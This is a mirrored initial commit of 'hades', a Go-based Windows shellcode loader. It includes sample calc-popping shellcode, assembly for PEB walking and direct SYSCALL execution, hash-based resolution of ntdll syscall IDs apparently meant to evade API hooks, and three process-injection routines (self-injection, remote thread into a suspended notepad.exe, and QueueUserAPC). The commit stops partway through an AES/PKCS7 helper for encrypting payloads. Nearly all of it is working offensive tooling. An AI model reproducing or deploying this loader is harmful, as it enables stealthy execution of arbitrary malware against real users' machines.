mirror of https://github.com/f1zm0/hades
init
This commit is contained in:
commit
9850f0476d
|
@ -0,0 +1,5 @@
|
|||
.vim
|
||||
build/
|
||||
dist/
|
||||
test_files/
|
||||
test_scripts/
|
|
@ -0,0 +1,63 @@
|
|||
# --- Go Variables
|
||||
GO=$(shell which go)
|
||||
GOINSTALL=${GO} install
|
||||
GOGET=${GO} get
|
||||
GOBUILD=${GO} build
|
||||
GOTEST=${GO} test
|
||||
|
||||
# --- Config Variables
|
||||
WIN_ARCHS=amd64 # 386 (not supported yet)
|
||||
COMMIT_ID=$(shell git rev-parse --short HEAD)
|
||||
TODAY=$(shell date +%d/%m/%y)
|
||||
|
||||
ifdef VERSION
|
||||
VERSION := $(VERSION)
|
||||
else
|
||||
VERSION := dev
|
||||
endif
|
||||
|
||||
# --- Project Vars
|
||||
PROJ_NAME=hades
|
||||
PROJ_MOD_PREFIX=github.com/f1zm0/hades
|
||||
BUILD_PATH=${CURDIR}/dist
|
||||
ENTRYPOINT=${CURDIR}/cmd/hades/main.go
|
||||
|
||||
# --- Compiler Vars
|
||||
GCFLAGS=-gcflags=all=-trimpath=$(GOPATH)
|
||||
ASMFLAGS=-asmflags=all=-trimpath=$(GOPATH)
|
||||
# LDFLAGS="-s -w -H=windowsgui"
|
||||
LDFLAGS="-s -w"
|
||||
|
||||
|
||||
# --- Targets
|
||||
.PHONY: default
|
||||
default: build
|
||||
|
||||
|
||||
.PHONY: help
|
||||
## help: prints an help message with all the available targets
|
||||
help:
|
||||
@echo "Usage: \n"
|
||||
@sed -n 's/^##//p' ${MAKEFILE_LIST} | column -t -s ':' | sed -e 's/^/ /'
|
||||
|
||||
|
||||
.PHONY: clean
|
||||
## clean: delete all binaries
|
||||
clean:
|
||||
@if [ -d "${BUILD_PATH}" ]; then ${RM} ${BUILD_PATH}/* ; fi
|
||||
|
||||
|
||||
.PHONY: test
|
||||
## test: test code base using go test
|
||||
test:
|
||||
${GOTEST} ./... -v -cover
|
||||
|
||||
|
||||
.PHONY: build
|
||||
## build: builds binary for Windows
|
||||
build:
|
||||
@for ARCH in ${WIN_ARCHS}; do \
|
||||
echo "Building binaries for Windows $${ARCH} ..."; \
|
||||
GOOS=windows GOARCH=$${ARCH} ${GOBUILD} -ldflags=${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} \
|
||||
-o ${BUILD_PATH}/${PROJ_NAME}-win-$${ARCH}-${VERSION}.exe ${ENTRYPOINT} || exit 1;\
|
||||
done;
|
|
@ -0,0 +1,49 @@
|
|||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/f1zm0/hades/internal/loader"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// pop calc
|
||||
calcSc := []byte{
|
||||
0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63,
|
||||
0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51,
|
||||
0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b,
|
||||
0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18,
|
||||
0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29,
|
||||
0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76,
|
||||
0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48,
|
||||
0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57,
|
||||
0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f,
|
||||
0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24,
|
||||
0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
|
||||
0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75,
|
||||
0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe,
|
||||
0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff,
|
||||
0xd7,
|
||||
}
|
||||
|
||||
ldr := loader.NewLoader()
|
||||
|
||||
// if err := ldr.SelfInjectThread(calcSc); err !+ nil {
|
||||
// fmt.Printf("An error occured:\n%s\n", err.Error())
|
||||
// }
|
||||
|
||||
// if err := ldr.RemoteThreadInject(calcSc); err != nil {
|
||||
// fmt.Printf("An error occured:\n%s\n", err.Error())
|
||||
// }
|
||||
|
||||
if err := ldr.QueueUserAPC(calcSc); err != nil {
|
||||
fmt.Printf("An error occured:\n%s\n", err.Error())
|
||||
}
|
||||
|
||||
// reader := bufio.NewReader(os.Stdin)
|
||||
// fmt.Print("Press enter to continue ...")
|
||||
// _, _ = reader.ReadString('\n')
|
||||
}
|
|
@ -0,0 +1,37 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/f1zm0/hades/pkg/hashing"
|
||||
)
|
||||
|
||||
func main() {
|
||||
flag.Usage = func() {
|
||||
helpMsg := []string{
|
||||
"Usage:",
|
||||
"hasher '<string> [<string>...]'",
|
||||
"",
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, strings.Join(helpMsg, "\n"))
|
||||
}
|
||||
|
||||
flag.Parse()
|
||||
|
||||
// Check if 1+ cli args has been specified
|
||||
if flag.NArg() == 0 {
|
||||
flag.Usage()
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
djb2 := hashing.NewDJB2()
|
||||
|
||||
fmt.Printf("\n")
|
||||
for _, s := range flag.Args() {
|
||||
fmt.Printf("%s => %d\n", s, djb2.HashString(s))
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
module github.com/f1zm0/hades
|
||||
|
||||
go 1.17
|
||||
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee
|
||||
golang.org/x/sys v0.0.0-20220114195835-da31bd327af9
|
||||
)
|
|
@ -0,0 +1,4 @@
|
|||
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak=
|
||||
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 h1:XfKQ4OlFl8okEOr5UvAqFRVj8pY/4yfcXrddB8qAbU0=
|
||||
golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
|
@ -0,0 +1,147 @@
|
|||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package loader
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
nullptr = uintptr(0)
|
||||
)
|
||||
|
||||
func createSuspendedProcess() (*windows.ProcessInformation, error) {
|
||||
var si windows.StartupInfo
|
||||
var pi windows.ProcessInformation
|
||||
|
||||
pCmdStr, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if err = windows.CreateProcess(
|
||||
nil,
|
||||
pCmdStr,
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
|
||||
nil,
|
||||
nil,
|
||||
&si,
|
||||
&pi,
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &pi, nil
|
||||
}
|
||||
|
||||
func (pl *Loader) NtAllocateVirtualMemory(
|
||||
hProc, baseAddr uintptr,
|
||||
memSize int,
|
||||
allocType, protectAttr uintptr,
|
||||
) (uintptr, error) {
|
||||
if _, err := Syscall(
|
||||
uint16(pl.ntdllApi[int64(-8110667262648832052)].SyscallID),
|
||||
hProc,
|
||||
uintptr(unsafe.Pointer(&baseAddr)),
|
||||
uintptr(unsafe.Pointer(nil)),
|
||||
uintptr(unsafe.Pointer(&memSize)),
|
||||
allocType,
|
||||
protectAttr,
|
||||
); err != nil {
|
||||
return nullptr, err
|
||||
}
|
||||
|
||||
return baseAddr, nil
|
||||
}
|
||||
|
||||
func (pl *Loader) NtWriteVirtualMemory(
|
||||
hProc, baseAddr uintptr,
|
||||
buf []byte,
|
||||
numBytesToWrite int,
|
||||
) (uintptr, error) {
|
||||
if _, err := Syscall(
|
||||
uint16(pl.ntdllApi[int64(-8604883203860988910)].SyscallID),
|
||||
hProc,
|
||||
uintptr(unsafe.Pointer(baseAddr)),
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(numBytesToWrite),
|
||||
0,
|
||||
); err != nil {
|
||||
return nullptr, err
|
||||
}
|
||||
|
||||
return nullptr, nil
|
||||
}
|
||||
|
||||
func (pl *Loader) NtProtectVirtualMemory(
|
||||
hProc, baseAddr uintptr,
|
||||
memSize int,
|
||||
newProtect uintptr,
|
||||
oldProtect uintptr,
|
||||
) (uintptr, error) {
|
||||
if _, err := Syscall(
|
||||
uint16(pl.ntdllApi[int64(8609481851873969992)].SyscallID),
|
||||
hProc,
|
||||
uintptr(unsafe.Pointer(&baseAddr)),
|
||||
uintptr(unsafe.Pointer(&memSize)),
|
||||
newProtect,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
); err != nil {
|
||||
return nullptr, err
|
||||
}
|
||||
|
||||
return oldProtect, nil
|
||||
}
|
||||
|
||||
func (pl *Loader) NtCreateThreadEx(hThread, hProc, baseAddr uintptr) (uintptr, error) {
|
||||
if _, err := Syscall(
|
||||
uint16(pl.ntdllApi[-8677770082300808784].SyscallID),
|
||||
uintptr(unsafe.Pointer(&hThread)), // ThreadHandle
|
||||
windows.GENERIC_EXECUTE, // DesiredAccess
|
||||
0, // ObjectAttributes
|
||||
hProc, // ProcessHandle
|
||||
baseAddr, // StartRoutine
|
||||
0, // Argument
|
||||
uintptr(0), // CreateFlags
|
||||
0, // ZeroBits
|
||||
0, // StackSize
|
||||
0, // MaxStackSize
|
||||
0, // AttributeList
|
||||
); err != nil {
|
||||
return nullptr, err
|
||||
}
|
||||
|
||||
return hThread, nil
|
||||
}
|
||||
|
||||
func (pl *Loader) NtQueueApcThread(hThread, baseAddr uintptr) (uintptr, error) {
|
||||
if _, err := Syscall(
|
||||
uint16(pl.ntdllApi[-7842467120007854408].SyscallID),
|
||||
hThread, // ThreadHandle
|
||||
baseAddr, // ApcRoutine
|
||||
uintptr(0), // ApcRoutineContext (optional)
|
||||
0, // ApcStatusBlock (optional)
|
||||
0, // ApcReserved (optional)
|
||||
); err != nil {
|
||||
return nullptr, err
|
||||
}
|
||||
|
||||
return nullptr, nil
|
||||
}
|
||||
|
||||
// NOT WORKING: gets called but then creashes because of invalid PC
|
||||
// func (pl *Loader) NtAlertResumeThread(hThread uintptr) (uintptr, error) {
|
||||
// if _, err := Syscall(
|
||||
// uint16(pl.ntdllApi[5863495249448612240].SyscallID),
|
||||
// hThread,
|
||||
// uintptr(0),
|
||||
// ); err != nil {
|
||||
// return nullptr, err
|
||||
// }
|
||||
// return nullptr, nil
|
||||
// }
|
|
@ -0,0 +1,102 @@
|
|||
// ----------------------------
|
||||
// func GetInMemoryOrderModuleListPtr() uintptr
|
||||
// ----------------------------
|
||||
TEXT ·GetInMemoryOrderModuleListPtr(SB),$0-8
|
||||
// PEB
|
||||
MOVQ 0x60(GS), AX
|
||||
// PEB->Ldr
|
||||
MOVQ 0x18(AX), AX
|
||||
// PEB->Ldr->InMemoryOrderModuleList
|
||||
MOVQ 0x20(AX), AX
|
||||
MOVQ AX, ret+0(FP)
|
||||
RET
|
||||
|
||||
// ----------------------------
|
||||
// func GetLdrTableEntryPtr(listptr uintptr, i int64) *LdrDataTableEntry
|
||||
// ----------------------------
|
||||
TEXT ·GetLdrTableEntryPtr(SB),$0-24
|
||||
|
||||
MOVQ listptr+0(FP), AX
|
||||
|
||||
XORQ R10, R10
|
||||
next_entry:
|
||||
CMPQ R10, i+8(FP)
|
||||
JE endloop
|
||||
|
||||
// next Flink
|
||||
MOVQ (AX), AX
|
||||
INCQ R10
|
||||
JMP next_entry
|
||||
|
||||
endloop:
|
||||
MOVQ AX, CX
|
||||
// start of LDR_DATA_TABLE_ENTRY struct
|
||||
SUBQ $0x10, CX
|
||||
MOVQ CX, ret+16(FP)
|
||||
RET
|
||||
|
||||
|
||||
// ----------------------------
|
||||
// func execSyscall(callID uint16, argh ...uintptr) (errcode uint32)
|
||||
// ----------------------------
|
||||
// Implementation taken from:
|
||||
// https://github.com/C-Sto/BananaPhone/blob/master/pkg/BananaPhone/asm_x64.s#L96
|
||||
|
||||
#define maxargs 16
|
||||
TEXT ·execSyscall(SB), $0-56
|
||||
XORQ AX,AX
|
||||
MOVW callid+0(FP), AX
|
||||
PUSHQ CX
|
||||
|
||||
//put variadic size into CX
|
||||
MOVQ argh_len+16(FP),CX
|
||||
//put variadic pointer into SI
|
||||
MOVQ argh_base+8(FP),SI
|
||||
|
||||
// SetLastError(0).
|
||||
MOVQ 0x30(GS), DI
|
||||
MOVL $0, 0x68(DI)
|
||||
SUBQ $(maxargs*8), SP // room for args
|
||||
|
||||
// Fast version, do not store args on the stack.
|
||||
CMPL CX, $4
|
||||
JLE loadregs
|
||||
|
||||
// Check we have enough room for args.
|
||||
CMPL CX, $maxargs
|
||||
JLE 2(PC)
|
||||
INT $3 // not enough room -> crash
|
||||
|
||||
// Copy args to the stack.
|
||||
MOVQ SP, DI
|
||||
CLD
|
||||
REP; MOVSQ
|
||||
MOVQ SP, SI
|
||||
|
||||
//move the stack pointer????? why????
|
||||
SUBQ $8, SP
|
||||
|
||||
loadregs:
|
||||
// Load first 4 args into correspondent registers.
|
||||
MOVQ 0(SI), CX
|
||||
MOVQ 8(SI), DX
|
||||
MOVQ 16(SI), R8
|
||||
MOVQ 24(SI), R9
|
||||
|
||||
// Floating point arguments are passed in the XMM
|
||||
// registers. Set them here in case any of the arguments
|
||||
// are floating point values. For details see
|
||||
// https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
|
||||
MOVQ CX, X0
|
||||
MOVQ DX, X1
|
||||
MOVQ R8, X2
|
||||
MOVQ R9, X3
|
||||
//MOVW callid+0(FP), AX
|
||||
MOVQ CX, R10
|
||||
SYSCALL
|
||||
ADDQ $((maxargs+1)*8), SP
|
||||
|
||||
// Return result.
|
||||
POPQ CX
|
||||
MOVL AX, errcode+32(FP)
|
||||
RET
|
|
@ -0,0 +1,159 @@
|
|||
package loader
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"io"
|
||||
"sort"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"github.com/f1zm0/hades/pkg/hashing"
|
||||
rrd "github.com/f1zm0/hades/pkg/rawreader"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
type PEModule struct {
|
||||
BaseAddr uintptr
|
||||
File *pe.File
|
||||
}
|
||||
|
||||
type InMemProc struct {
|
||||
Name string
|
||||
BaseAddr uintptr
|
||||
SyscallID int
|
||||
}
|
||||
|
||||
type Loader struct {
|
||||
// Hashing provider
|
||||
djb2 *hashing.DJB2
|
||||
|
||||
// Map of ntdll.dll [funcNameHash]syscallID
|
||||
ntdllApi map[int64]InMemProc
|
||||
}
|
||||
|
||||
func NewLoader() *Loader {
|
||||
djb2 := hashing.NewDJB2()
|
||||
pl := &Loader{djb2: djb2}
|
||||
ntProcs, err := pl.ResolveSyscallIDs()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
pl.ntdllApi = ntProcs
|
||||
|
||||
return pl
|
||||
}
|
||||
|
||||
func (pl *Loader) GetSysID(funcName string) int {
|
||||
fHash := pl.djb2.HashString(funcName)
|
||||
if v, ok := pl.ntdllApi[fHash]; ok {
|
||||
return v.SyscallID
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
func (pl *Loader) GetModuleHandleByHash(modNameHash int64) (*PEModule, error) {
|
||||
entries := GetLdrTableEntries()
|
||||
for _, entry := range entries {
|
||||
if pl.djb2.HashString(entry.BaseDllName.String()) == modNameHash {
|
||||
|
||||
modBaseAddr := uintptr(unsafe.Pointer(entry.DllBase))
|
||||
modSize := int(uintptr(unsafe.Pointer(entry.SizeOfImage)))
|
||||
rr := rrd.NewRawReader(modBaseAddr, modSize)
|
||||
|
||||
p, err := pe.NewFileFromMemory(rr)
|
||||
if err != nil {
|
||||
return nil, errors.New("Error reading module from memory")
|
||||
}
|
||||
|
||||
pm := &PEModule{
|
||||
BaseAddr: modBaseAddr,
|
||||
File: p,
|
||||
}
|
||||
return pm, nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("Module not found. Probably not loaded.")
|
||||
}
|
||||
|
||||
func (pl *Loader) GetProcAddressByHash(p *PEModule, funcNameHash int64) (int64, error) {
|
||||
ex, err := p.File.Exports()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
for _, exp := range ex {
|
||||
if pl.djb2.HashString(exp.Name) == funcNameHash {
|
||||
return (int64(p.BaseAddr) + int64(exp.VirtualAddress)), nil
|
||||
}
|
||||
}
|
||||
|
||||
return 0, errors.New("Function not found")
|
||||
}
|
||||
|
||||
func GetAllProcs(p *PEModule) ([]InMemProc, error) {
|
||||
var procs []InMemProc
|
||||
|
||||
ex, err := p.File.Exports()
|
||||
if err != nil {
|
||||
return procs, err
|
||||
}
|
||||
for _, exp := range ex {
|
||||
memAddr := int64(p.BaseAddr) + int64(exp.VirtualAddress)
|
||||
procs = append(procs, InMemProc{
|
||||
Name: exp.Name,
|
||||
BaseAddr: uintptr(memAddr),
|
||||
})
|
||||
}
|
||||
|
||||
return procs, nil
|
||||
}
|
||||
|
||||
func (p *InMemProc) IsHooked() bool {
|
||||
safeBytes := []byte{0x4c, 0x8b, 0xd1, 0xb8}
|
||||
stub := make([]byte, len(safeBytes))
|
||||
|
||||
rr := rrd.NewRawReader(p.BaseAddr, len(safeBytes))
|
||||
|
||||
sr := io.NewSectionReader(rr, 0, 1<<63-1)
|
||||
binary.Read(sr, binary.LittleEndian, &stub)
|
||||
|
||||
if bytes.Compare(stub, safeBytes) == 0 {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (pl *Loader) ResolveSyscallIDs() (map[int64]InMemProc, error) {
|
||||
procMap := make(map[int64]InMemProc)
|
||||
var ntProcs []InMemProc
|
||||
|
||||
hNtdll, err := pl.GetModuleHandleByHash(249899979757565421)
|
||||
if err != nil {
|
||||
return procMap, err
|
||||
}
|
||||
procs, err := GetAllProcs(hNtdll)
|
||||
if err != nil {
|
||||
return procMap, err
|
||||
}
|
||||
|
||||
for _, p := range procs {
|
||||
if strings.HasPrefix(p.Name, "Zw") {
|
||||
ntProcs = append(ntProcs, p)
|
||||
}
|
||||
}
|
||||
|
||||
sort.Slice(ntProcs, func(i, j int) bool {
|
||||
return ntProcs[i].BaseAddr < ntProcs[j].BaseAddr
|
||||
})
|
||||
|
||||
for i := range ntProcs {
|
||||
ntProcs[i].SyscallID = i
|
||||
ntProcs[i].Name = "Nt" + ntProcs[i].Name[2:]
|
||||
procMap[pl.djb2.HashString(ntProcs[i].Name)] = ntProcs[i]
|
||||
}
|
||||
|
||||
return procMap, nil
|
||||
}
|
|
@ -0,0 +1,37 @@
|
|||
package loader
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
|
||||
wt "github.com/f1zm0/hades/internal/types"
|
||||
)
|
||||
|
||||
func GetLdrTableEntryPtr(listptr uintptr, i int64) *wt.LdrDataTableEntry
|
||||
|
||||
func GetInMemoryOrderModuleListPtr() uintptr
|
||||
|
||||
func GetLdrTableEntries() []*wt.LdrDataTableEntry {
|
||||
entries := []*wt.LdrDataTableEntry{}
|
||||
var (
|
||||
entry *wt.LdrDataTableEntry
|
||||
firstEntry *wt.LdrDataTableEntry
|
||||
)
|
||||
|
||||
// addr of Ldr->InMemoryOrderModuleList
|
||||
modListPtr := GetInMemoryOrderModuleListPtr()
|
||||
|
||||
firstEntry = GetLdrTableEntryPtr(modListPtr, 0)
|
||||
entries = append(entries, firstEntry)
|
||||
|
||||
i := int64(1)
|
||||
for {
|
||||
entry = GetLdrTableEntryPtr(modListPtr, i)
|
||||
if entry == firstEntry || unsafe.Pointer(entry.DllBase) == unsafe.Pointer(nil) {
|
||||
break
|
||||
}
|
||||
entries = append(entries, entry)
|
||||
i = i + 1
|
||||
}
|
||||
|
||||
return entries
|
||||
}
|
|
@ -0,0 +1,149 @@
|
|||
// + build windows
|
||||
|
||||
package loader
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func (pl *Loader) SelfInjectThread(scbuf []byte) error {
|
||||
var (
|
||||
err error
|
||||
scBaseAddr uintptr
|
||||
hThread uintptr
|
||||
)
|
||||
hSelf := uintptr(0xffffffffffffffff) // handle to current proc
|
||||
scBaseAddr, err = pl.NtAllocateVirtualMemory(
|
||||
hSelf,
|
||||
scBaseAddr,
|
||||
len(scbuf),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("Base address of allocated memory: 0x%016x\n", scBaseAddr)
|
||||
|
||||
// memory.WriteMemory(scbuf, scBaseAddr)
|
||||
if _, err := pl.NtWriteVirtualMemory(hSelf, scBaseAddr, scbuf, len(scbuf)); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println("Shellcode copied to allocated memory")
|
||||
|
||||
fmt.Println("Changing memory protection to RX")
|
||||
if _, err := pl.NtProtectVirtualMemory(hSelf, scBaseAddr, len(scbuf), windows.PAGE_EXECUTE_READ, windows.PAGE_READWRITE); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
fmt.Println("Creating thread to exec shellcode ...")
|
||||
hThread, err = pl.NtCreateThreadEx(hThread, hSelf, scBaseAddr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
windows.WaitForSingleObject(windows.Handle(hThread), 0xffffffff)
|
||||
|
||||
fmt.Println("Injection complted succesfully")
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pl *Loader) RemoteThreadInject(scbuf []byte) error {
|
||||
var (
|
||||
err error
|
||||
scBaseAddr uintptr
|
||||
)
|
||||
|
||||
fmt.Println("Creating suspended process ...")
|
||||
pi, err := createSuspendedProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
scBaseAddr, err = pl.NtAllocateVirtualMemory(
|
||||
uintptr(pi.Process),
|
||||
scBaseAddr,
|
||||
len(scbuf),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("Base address of allocated memory: 0x%016x\n", scBaseAddr)
|
||||
|
||||
// memory.WriteMemory(scbuf, scBaseAddr)
|
||||
if _, err := pl.NtWriteVirtualMemory(uintptr(pi.Process), scBaseAddr, scbuf, len(scbuf)); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println("Shellcode copied to allocated memory")
|
||||
|
||||
fmt.Println("Changing memory protection to RX")
|
||||
if _, err := pl.NtProtectVirtualMemory(uintptr(pi.Process), scBaseAddr, len(scbuf), windows.PAGE_EXECUTE_READ, windows.PAGE_READWRITE); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
fmt.Println("Creating thread to exec shellcode ...")
|
||||
_, err = pl.NtCreateThreadEx(uintptr(pi.Thread), uintptr(pi.Process), scBaseAddr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
fmt.Println("Closing thread handle ...")
|
||||
if err := windows.Close(windows.Handle(pi.Process)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
fmt.Println("Injection completed succesfully!")
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pl *Loader) QueueUserAPC(scbuf []byte) error {
|
||||
var (
|
||||
err error
|
||||
scBaseAddr uintptr
|
||||
)
|
||||
|
||||
pi, err := createSuspendedProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("Created suspended process ...\n")
|
||||
|
||||
scBaseAddr, err = pl.NtAllocateVirtualMemory(
|
||||
uintptr(pi.Process),
|
||||
scBaseAddr,
|
||||
len(scbuf),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("Base address of allocated memory: 0x%016x\n", scBaseAddr)
|
||||
|
||||
if _, err := pl.NtWriteVirtualMemory(uintptr(pi.Process), scBaseAddr, scbuf, len(scbuf)); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println("Writing shellcode to allocated memory")
|
||||
|
||||
fmt.Println("Changing memory protection to RX")
|
||||
if _, err := pl.NtProtectVirtualMemory(uintptr(pi.Process), scBaseAddr, len(scbuf), windows.PAGE_EXECUTE_READ, windows.PAGE_READWRITE); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
fmt.Println("Adding thread to APC queue ...")
|
||||
if _, err := pl.NtQueueApcThread(uintptr(pi.Thread), scBaseAddr); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
fmt.Println("Resuming thread to execute shellcode...")
|
||||
if _, err := windows.ResumeThread(windows.Handle(pi.Thread)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
fmt.Println("Injection completed succesfully")
|
||||
return nil
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
package loader
|
||||
|
||||
import "errors"
|
||||
|
||||
func execSyscall(callid uint16, argh ...uintptr) (errcode uint32)
|
||||
|
||||
func Syscall(syscallID uint16, args ...uintptr) (errcode uint32, err error) {
|
||||
errcode = execSyscall(syscallID, args...)
|
||||
|
||||
if errcode != 0 {
|
||||
return errcode, errors.New("non-zero return from syscall")
|
||||
}
|
||||
return errcode, nil
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
package memory
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// WriteMemory writes the provided memory to the specified memory address.
|
||||
// It does NOT check permissions, may cause panic if memory is not writable etc.
|
||||
func WriteMemory(inbuf []byte, destination uintptr) {
|
||||
for index := uint32(0); index < uint32(len(inbuf)); index++ {
|
||||
writePtr := unsafe.Pointer(destination + uintptr(index))
|
||||
v := (*byte)(writePtr)
|
||||
*v = inbuf[index]
|
||||
}
|
||||
}
|
|
@ -0,0 +1,40 @@
|
|||
package types
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type LdrDataTableEntry struct {
|
||||
InLoadOrderLinks ListEntry
|
||||
InMemoryOrderLinks ListEntry
|
||||
InInitializationOrderLinks ListEntry
|
||||
DllBase *uintptr
|
||||
EntryPoint *uintptr
|
||||
SizeOfImage *uintptr
|
||||
FullDllName UnicodeString
|
||||
BaseDllName UnicodeString
|
||||
Flags uint32
|
||||
LoadCount uint16
|
||||
TlsIndex uint16
|
||||
HashLinks ListEntry
|
||||
TimeDateStamp uint64
|
||||
}
|
||||
|
||||
type ListEntry struct {
|
||||
Flink *ListEntry
|
||||
Blink *ListEntry
|
||||
}
|
||||
|
||||
func (te *LdrDataTableEntry) DumpInfo() {
|
||||
fmt.Printf(`
|
||||
----
|
||||
Name: %s
|
||||
Base: 0x%016x
|
||||
Size: %d
|
||||
`,
|
||||
te.FullDllName.String(),
|
||||
uintptr(unsafe.Pointer(te.DllBase)),
|
||||
int(uintptr(unsafe.Pointer(te.SizeOfImage))),
|
||||
)
|
||||
}
|
|
@ -0,0 +1,13 @@
|
|||
package types
|
||||
|
||||
import "golang.org/x/sys/windows"
|
||||
|
||||
type UnicodeString struct {
|
||||
Length uint16
|
||||
MaximumLength uint16
|
||||
Buffer *uint16
|
||||
}
|
||||
|
||||
func (s UnicodeString) String() string {
|
||||
return windows.UTF16PtrToString(s.Buffer)
|
||||
}
|
|
@ -0,0 +1,81 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrInvalidBlockSize = errors.New("[!] Invalid block size")
|
||||
|
||||
ErrInvalidPKCS7Data = errors.New("[!] Invalid PKCS7 Data (Empty or Not Padded)")
|
||||
|
||||
ErrInvalidPKCS7Padding = errors.New("[!] Invalid padding on input")
|
||||
)
|
||||
|
||||
func GetRandBuffer(size int) []byte {
|
||||
buf := make([]byte, size)
|
||||
_, err := rand.Read(buf)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
return buf
|
||||
}
|
||||
|
||||
func Pkcs7Pad(b []byte, blocksize int) ([]byte, error) {
|
||||
if blocksize <= 0 {
|
||||
return nil, ErrInvalidBlockSize
|
||||
}
|
||||
if b == nil || len(b) == 0 {
|
||||
return nil, ErrInvalidPKCS7Data
|
||||
}
|
||||
n := blocksize - (len(b) % blocksize)
|
||||
pb := make([]byte, len(b)+n)
|
||||
copy(pb, b)
|
||||
